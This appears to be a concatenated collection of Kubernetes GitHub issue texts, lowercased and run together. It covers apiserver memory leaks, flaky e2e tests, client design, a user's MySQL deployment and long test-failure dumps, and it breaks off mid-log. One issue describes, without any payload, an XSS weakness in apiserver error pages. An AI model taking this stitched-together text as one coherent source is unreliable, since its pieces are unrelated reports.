openapi3 spec is invalid for crds   66899  - addressed by  x-kubernetes-embedded-resource: true  extension in https://github.com/kubernetes/enhancements/blob/master/keps/sig-api-machinery/20190425-structural-openapi.md formal-definition\r -     crd validation resource immutable   65973 \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r one of our static kube-apiserver pods will climb in memory usage by ~200 mb per minute until it fills up the 32 gb of memory on the instance. when it crashes or is manually restarted, another kube-apiserver  possibly the replacement, possibly one from another master  will begin to exhibit the same runaway memory usage nearly immediately.\r \r   what you expected to happen  :\r \r stable memory usage, which scales with load  both up and down .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we have not been able to reproduce. the behavior is intermittent but ongoing. we are able to collect more debugging information.\r \r my team has attempted toggling services which might be causing load to the apiserver  no change , profiling the kube-apiserver with pprof  the memory is somewhere in etcd code, but it’s not clear why , and profiling the instances themselves  not seeing unusual disk/networking/etc. usage .\r \r at this point, we’re looking for ideas, pointers for how to dig deeper and investigate. the issue does come and go. when the memory is actively climbing we’re looking at a kube-apiserver restart every ~2 hours.\r \r   anything else we need to know?  :\r \r we’ve taken some pprof pdfs which indicate etcd/json as having the vast majority of the memory footprint:\r \r - mem\r   -  apiserver-mem-06-29-2018-03-11p.pdf  https://github.com/kubernetes/kubernetes/files/2157148/apiserver-mem-06-29-2018-03-11p.pdf \r   -  apiserver-mem-06-29-2018-03-23p.pdf  https://github.com/kubernetes/kubernetes/files/2157149/apiserver-mem-06-29-2018-03-23p.pdf \r - cpu\r   -  apiserver-cpu-06-29-2018-03-15p.pdf  https://github.com/kubernetes/kubernetes/files/2157150/apiserver-cpu-06-29-2018-03-15p.pdf \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r   - aws\r - os  e.g. from /etc/os-release :\r        \r $ cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r ...\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux ip-10-79-158-202 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r    \r - install tools:\r   - kops 1.9.1\r - others:

is this a bug report or feature request?  :\r  \r   what happened  :\r getclusters should be for either zone or region. \r however the relevant metric name is list_zones.\r \r   what you expected to happen  :\r we should transition this to a better named metric while maintaining continuity on the metric/dashboards.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-e2e-gce\r \r   which test s  are failing  :\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/node/security_context.go l142\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/node/security_context.go l134\r \r   since when has it been failing  :\r i saw this in this pr  73007  \r \r   testgrid link  :\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73007/pull-kubernetes-e2e-gce/69727/\r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/73007/pull-kubernetes-e2e-gce/69989/\r \r   reason for failure  :\r flaky \r \r   anything else we need to know  :\r

item 17 in https://github.com/googlecloudplatform/kubernetes/blob/master/docs/cli-roadmap.md.  would go well with \ edit\  functionality  8263.  we could tag  as in go field tags  commonly used fields with example values or somesuch.

hello,  just curious if it is possible to use the beta network isolation features which some of the overlay networks   calico, romana, openshift etc  are starting to support? or if this is planned for the future? not been able to find any documentation on it anywhere, or what the future plans for it might be.  thanks a lot

our current  client initiation logic  https://github.com/kubernetes/kubernetes/blob/06c9ad2c83f1b7415ff32de46016cc63006fc35d/pkg/client/unversioned/helper.go l49-l127  instantiates all api groups clients at once, but  restclient.config  points only to single api group at a time. https://github.com/kubernetes/kubernetes/pull/29187 partially fixes the problem by setting defaults for groups which are not mentioned in the config, but the final solution should be that  client.new  should only instantiate single client against the api group specified in the config.  unfortunately, this change will require quite a lot of changes, since a lot of places  eg. describers  are assuming that when  client  is passed it already has access to all possible groups. we should target more granular clients, instead. this should be done along with  25442. @caesarxuchao @smarterclayton fyi

currently if you e.g. make changes only in the status of a resource and then call update, the server appears to accept your request but doesn't actually make any changes.  this is intentional, because you should use updatestatus for status changes.   this is probably very confusing the first time you encounter it. the easiest fix is just documentation.  note that we can't make the server warn or fail your request if you change the status, because the point of the spec/status split is to not penalize clients with a lot of conflicts if a controller is rapidly updating the status. that is, the situation is exactly the same as if you didn't change status, but a controller did.  we could maybe get fancier, like make the server reject a request if it has _only_ status changes and no other changes.  longer term, if the object that you sent in an update didn't include status at all, then it would be obvious that that was not supposed to work. but that's a much larger api change.

right now its just an error, but it will cause admission failures later on.  this is currently the case because  test-integration  doesn't run a \ normal\  start flow for the integration tests.  we should rewire test-integration to run a \ normal\  api-server.  @smarterclayton you did a lot infrastructure set-up in origin that allowed me to wire it up.  any chance of similar help in kube?

hi\r \r on centos i have running a deployment with 2 containers: phpmyadmin and mysql. \r the problem is that phpmyadmin can not login to mysql.\r \r my master ip: 10.129.32.14\r my minion1 ip: 10.129.37.163\r my minion2 ip: 10.129.32.15\r \r   this are my service:  \r    \r apiversion: v1\r kind: service\r metadata:\r   name: webcluster\r   labels:\r     app: webcluster\r     run: webcluster\r spec:\r   externalips:\r   - 10.129.37.163\r   - 10.129.32.15\r   ports:\r   - name: mysql\r     protocol: tcp\r     port: 3306\r     targetport: 3306\r   - name: phpmyadmin\r     protocol: tcp\r     port: 8000\r     targetport: 80\r   selector:\r     app: webcluster\r     tier: webcluster\r     run: webcluster\r   type: loadbalancer\r    \r \r   this are my deployment:  \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: webcluster\r   labels:\r     app: webcluster\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         run: webcluster\r         app: webcluster\r         tier: webcluster\r     spec:\r       containers:\r       - name: mysql\r         image: mysql:5.6\r         env:\r         - name: \ mysql_root_password\ \r           value: \ azerty123\ \r         ports:\r         - containerport: 3306\r           name: webcluster\r       - name: phpmyadmin\r         image: timhaak/phpmyadmin-alpine\r         ports:\r         - containerport: 80\r           name: webcluster\r    \r \r   this are my pod:  \r    \r kubectl get pods\r name                          ready     status    restarts   age\r webcluster-4217026318-zopa1   2/2       running   0          7m\r    \r \r   this are extra information about my pods:  \r    \r   kubectl describe pod webcluster-4217026318-zopa1\r name:           webcluster-4217026318-zopa1\r namespace:      default\r node:           centos-minion2/10.129.32.15\r start time:     tue, 01 nov 2016 19:14:02 +0100\r labels:         app=webcluster,pod-template-hash=4217026318,run=webcluster,tier=webcluster\r status:         running\r ip:             172.17.38.2\r controllers:    replicaset/webcluster-4217026318\r containers:\r   mysql:\r     container id:       docker://cc415354e2b7c230a1e54da857d160354d35e3994a22e97218bf624098cd347a\r     image:              mysql:5.6\r     image id:           docker://sha256:a07c28d2a09addcd98b32fe62229f4f14e9dac7f5d564ad3483b2ebf3811d1c7\r     port:               3306/tcp\r     qos tier:\r       cpu:              besteffort\r       memory:           besteffort\r     state:              running\r       started:          tue, 01 nov 2016 19:14:06 +0100\r     ready:              true\r     restart count:      0\r     environment variables:\r       mysql_root_password:      azerty123\r   phpmyadmin:\r     container id:       docker://3f3a1653c85e900b691ea7280c9c88286d122f7c367d693e9ca337d7a8a2324c\r     image:              timhaak/phpmyadmin-alpine\r     image id:           docker://sha256:a2e211a5cff09520c6a074e90014fb53705d9a7ae417a3c7b368b9606fc4ff2b\r     port:               80/tcp\r     qos tier:\r       cpu:              besteffort\r       memory:           besteffort\r     state:              running\r       started:          tue, 01 nov 2016 19:14:05 +0100\r     ready:              true\r     restart count:      0\r     environment variables:\r conditions:\r   type          status\r   ready         true\r no volumes.\r events:\r   firstseen     lastseen        count   from                            subobjectpath                   type            reason                  message\r   ---------     --------        -----   ----                            -------------                   --------        ------                  -------\r   5m            5m              1       {default-scheduler }                                            normal          scheduled               successfully assigned webcluster-4217026318-zopa1 to centos-minion2\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{phpmyadmin}     normal          pulling                 pulling image \ timhaak/phpmyadmin-alpine\ \r   5m            5m              1       {kubelet centos-minion2}        spec.containers{phpmyadmin}     normal          pulled                  successfully pulled image \ timhaak/phpmyadmin-alpine\ \r   5m            5m              3       {kubelet centos-minion2}                                        warning         missingclusterdns       kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to dnsdefault policy.\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{phpmyadmin}     normal          created                 created container with docker id 3f3a1653c85e\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{phpmyadmin}     normal          started                 started container with docker id 3f3a1653c85e\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{mysql}          normal          pulled                  container image \ mysql:5.6\  already present on machine\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{mysql}          normal          created                 created container with docker id cc415354e2b7\r   5m            5m              1       {kubelet centos-minion2}        spec.containers{mysql}          normal          started                 started container with docker id cc415354e2b7\r    \r \r   this are my webcluster endpoints:  \r    \r   kubectl get endpoints\r name         endpoints                         age\r kubernetes   10.129.32.14:6443                 27d\r webcluster   172.17.38.2:80,172.17.38.2:3306   3m\r    \r \r   i have noticed a problem with the proxy kube:  on the master   \r    \r   kube-proxy\r w1101 19:24:33.580975   12235 server.go:170  neither --kubeconfig nor --master was specified.  using default api client.  this might not work.\r e1101 19:24:33.593252   12235 server.go:340  can't get node \ centos-master\ , assuming iptables proxy: nodes \ centos-master\  not found\r i1101 19:24:33.594949   12235 server.go:200  using iptables proxier.\r i1101 19:24:33.595078   12235 proxier.go:205  missing br-netfilter module or unset br-nf-call-iptables; proxy may not work as intended\r i1101 19:24:33.595134   12235 server.go:213  tearing down userspace rules.\r i1101 19:24:33.632120   12235 conntrack.go:36  setting nf_conntrack_max to 262144\r i1101 19:24:33.632193   12235 conntrack.go:41  setting conntrack hashsize to 65536\r i1101 19:24:33.633144   12235 conntrack.go:46  setting nf_conntrack_tcp_timeout_established to 86400\r    \r \r   and this on the nodes:  \r    \r   kube-proxy\r w1101 19:25:25.375150    6514 server.go:170  neither --kubeconfig nor --master was specified.  using default api client.  this might not work.\r e1101 19:25:25.391215    6514 server.go:340  can't get node \ centos-minion1\ , assuming iptables proxy: get http://localhost:8080/api/v1/nodes/centos-minion1: dial tcp  ::1 :8080: getsockopt: connection refused\r i1101 19:25:25.394031    6514 server.go:200  using iptables proxier.\r i1101 19:25:25.394203    6514 proxier.go:205  missing br-netfilter module or unset br-nf-call-iptables; proxy may not work as intended\r i1101 19:25:25.394272    6514 server.go:213  tearing down userspace rules.\r i1101 19:25:25.422818    6514 conntrack.go:36  setting nf_conntrack_max to 262144\r i1101 19:25:25.422923    6514 conntrack.go:41  setting conntrack hashsize to 65536\r i1101 19:25:25.423623    6514 conntrack.go:46  setting nf_conntrack_tcp_timeout_established to 86400\r e1101 19:25:25.427274    6514 server.go:293  starting health server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r e1101 19:25:25.428457    6514 event.go:202  unable to write event: 'post http://localhost:8080/api/v1/namespaces/default/events: dial tcp  ::1 :8080: getsockopt: connection refused'  may retry after sleeping \r e1101 19:25:25.940697    6514 event.go:202  unable to write event: 'post http://localhost:8080/api/v1/namespaces/default/events: dial tcp  ::1 :8080: getsockopt: connection refused'  may retry after sleeping \r e1101 19:25:30.427733    6514 server.go:293  starting health server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r e1101 19:25:35.428230    6514 server.go:293  starting health server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r e1101 19:25:35.942137    6514 event.go:202  unable to write event: 'post http://localhost:8080/api/v1/namespaces/default/events: dial tcp  ::1 :8080: getsockopt: connection refused'  may retry after sleeping \r e1101 19:25:40.428708    6514 server.go:293  starting health server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r    \r \r there was still a configuration error are following files?: \r    \r apiserver  config  controller-manager  kubelet  proxy  scheduler\r    \r \r does anyone know what i do wrong? i've tried everything, but nothing that works.\r \r thanks,\r wouter

the error reporting functions here all repeat a uri without sanitizing it. an xss attacker could use this to get the server to embed a reference to a malicious script.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/filters/errors.go\r \r  as always, please note that kubernetes apiserver is not xss hardened and we do not recommend using the api directly from a browser.

hitting various flakes around request limits when running tests for kops on aws:\r \r  i1204 18:58:10.553  security-group:sg-71444108\terror deleting resource, will retry: error describing securitygroup \ sg-71444108\ : requestlimitexceeded: request limit exceeded. \r \r  i1204 19:01:27.769  internet-gateway:igw-1ffe9f7b\terror deleting resource, will retry: error describing internetgateway \ igw-1ffe9f7b\ : requestlimitexceeded: request limit exceeded. \r \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/38032/pull-kubernetes-e2e-kops-aws/2770/\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.3-gci-1.5-upgrade-cluster/22/  multiple broken tests:  failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:453 expected error:     < errors.errorstring | 0xc820ff2990>: {         s: \ failed to wait for pods responding: pod with uid d03a08ae-bd60-11e6-bbba-42010af00027 is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods 17249}  {{ } {my-hostname-delete-node-5kzjl my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-5kzjl 036bc55e-bd61-11e6-bbba-42010af00027 16946 0 {2016-12-08 08:11:44 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-nf0z8\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d037d979-bd60-11e6-bbba-42010af00027\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 16869\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf257}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f85950 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdf350 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-x9bn 0xc821f0b200     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:44 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:45 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:44 -0800 pst}  }    10.240.0.2 10.96.4.125 2016-12-08t08:11:44-08:00     {my-hostname-delete-node {<nil> 0xc821b1a200 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://af91c0192eb5ad5c5f1b7fd7216a281c61b88132e0da8d56e83df22cd0a30776} }} {{ } {my-hostname-delete-node-hd0bl my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-hd0bl d039ced6-bd60-11e6-bbba-42010af00027 16790 0 {2016-12-08 08:10:18 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-nf0z8\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d037d979-bd60-11e6-bbba-42010af00027\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 16777\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf5e7}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f859b0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdf6e0 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-x9bn 0xc821f0b2c0     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:19 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  }    10.240.0.2 10.96.4.124 2016-12-08t08:10:18-08:00     {my-hostname-delete-node {<nil> 0xc821b1a240 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://3db91f5cb10a365bd73fca9175c13d5ebde707ab22f3e725a99921e769711110} }} {{ } {my-hostname-delete-node-xl7xb my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-xl7xb d039aef4-bd60-11e6-bbba-42010af00027 16792 0 {2016-12-08 08:10:18 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-nf0z8\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ d037d979-bd60-11e6-bbba-42010af00027\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 16777\\\ }}\    {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf977}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f85a10 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdfa70 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-rxc5 0xc821f0b380     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:20 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  }    10.240.0.3 10.96.3.55 2016-12-08t08:10:18-08:00     {my-hostname-delete-node {<nil> 0xc821b1a2a0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://85224603d082e57f23121de9a358517def4c60334afffd480cc38aa8b7864e1b} }} }\ ,     }     failed to wait for pods responding: pod with uid d03a08ae-bd60-11e6-bbba-42010af00027 is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods 17249}  {{ } {my-hostname-delete-node-5kzjl my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-5kzjl 036bc55e-bd61-11e6-bbba-42010af00027 16946 0 {2016-12-08 08:11:44 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-nf0z8\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d037d979-bd60-11e6-bbba-42010af00027\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 16869\ }}        {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf257}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f85950 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdf350 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-x9bn 0xc821f0b200     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:44 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:45 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:11:44 -0800 pst}  }    10.240.0.2 10.96.4.125 2016-12-08t08:11:44-08:00     {my-hostname-delete-node {<nil> 0xc821b1a200 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://af91c0192eb5ad5c5f1b7fd7216a281c61b88132e0da8d56e83df22cd0a30776} }} {{ } {my-hostname-delete-node-hd0bl my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-hd0bl d039ced6-bd60-11e6-bbba-42010af00027 16790 0 {2016-12-08 08:10:18 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-nf0z8\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d037d979-bd60-11e6-bbba-42010af00027\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 16777\ }}        {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf5e7}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f859b0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdf6e0 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-x9bn 0xc821f0b2c0     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:19 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  }    10.240.0.2 10.96.4.124 2016-12-08t08:10:18-08:00     {my-hostname-delete-node {<nil> 0xc821b1a240 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://3db91f5cb10a365bd73fca9175c13d5ebde707ab22f3e725a99921e769711110} }} {{ } {my-hostname-delete-node-xl7xb my-hostname-delete-node- e2e-tests-resize-nodes-nf0z8 /api/v1/namespaces/e2e-tests-resize-nodes-nf0z8/pods/my-hostname-delete-node-xl7xb d039aef4-bd60-11e6-bbba-42010af00027 16792 0 {2016-12-08 08:10:18 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-nf0z8\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d037d979-bd60-11e6-bbba-42010af00027\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 16777\ }}        {v1 replicationcontroller my-hostname-delete-node d037d979-bd60-11e6-bbba-42010af00027 0xc821fdf977}    } { {default-token-j5kcz {<nil> <nil> <nil> <nil> <nil> 0xc821f85a10 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-j5kcz true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc821fdfa70 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-4a1ce8af-rxc5 0xc821f0b380     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:20 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 08:10:18 -0800 pst}  }    10.240.0.3 10.96.3.55 2016-12-08t08:10:18-08:00     {my-hostname-delete-node {<nil> 0xc821b1a2a0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://85224603d082e57f23121de9a358517def4c60334afffd480cc38aa8b7864e1b} }} } not to have occurred     issues about this test specifically:  27233  36204   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc8200c7060>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  kubectl client  k8s.io  kubectl apply should reuse nodeport when apply to an existing svc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:471 expected error:     < errors.errorstring | 0xc820523440>: {         s: \ error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://130.211.229.168 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-6f33s -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ resourceversion\\\ :\\\ 35011\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t18:40:05z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-6f33s\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-6f33s/services/redis-master\\\ , \\\ uid\\\ :\\\ bcecb5ae-bd75-11e6-bbba-42010af00027\\\ }, \\\ spec\\\ :map string interface {}{\\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ 